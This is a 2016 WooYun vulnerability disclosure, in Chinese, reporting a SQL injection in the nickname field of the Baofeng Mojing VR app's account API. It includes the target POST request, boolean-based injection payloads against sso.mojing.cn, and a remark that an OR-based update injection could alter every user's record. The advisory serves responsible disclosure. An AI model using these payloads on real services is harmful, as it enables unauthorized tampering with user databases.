当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0211647

漏洞标题:暴风魔镜app一处SQL注入

相关厂商:mojing.cn

漏洞作者: 路人甲

提交时间:2016-05-23 15:52

修复时间:2016-07-07 16:30

公开时间:2016-07-07 16:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-23: 细节已通知厂商并且等待厂商处理中
2016-05-23: 厂商已经确认,细节仅向厂商公开
2016-06-02: 细节向核心白帽子及相关领域专家公开
2016-06-12: 细节向普通白帽子公开
2016-06-22: 细节向实习白帽子公开
2016-07-07: 细节向公众公开

简要描述:

详细说明:

目标:暴风魔镜Android APP
注入点:昵称修改处,(POST中的user_name)

POST http://sso.mojing.cn/user/api/setusername HTTP/1.1
User-Agent: gzip
Accept-Encoding: gzip
Content-Length: 188
Content-Type: application/x-www-form-urlencoded
Host: sso.mojing.cn
Connection: Keep-Alive
open_id={"user_no":"3966439149277372","user_name":"ygghghhhhh","open_verify":"02bfa964e59d293c7f811bcb9bd9d19d"}

漏洞证明:

证明如下:
首先,不妨新建一个奇葩点的用户名,如

ygghghhhhh


此时,如果我们修改为同样的用户名ygghghhhhh,则提示用户名已存在

1.jpg


接着,我们修改昵称为

ygghghhhhh' and 1=1 and 'a'=a'


此时,依然返回用户名已存在

2.jpg


于是,我们修改昵称为

ygghghhhhh' and 1=2 and 'a'=a'


则返回修改成功

3.jpg


说明user_name处存在注入。
但由于此APP含sign校验(后面的open_verify参数),每个数据包随着参数值的变化都会生成单独的sign,因此难以通过批量发包来进行利用并跑库。
至于危害嘛,此处应为update注入,假如在app上修改昵称为or注入语句的话,有可能会影响全站用户……

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-05-23 16:22

厂商回复:

感谢您提交的漏洞,我们会尽快修复。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-23 16:05 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    @Durnet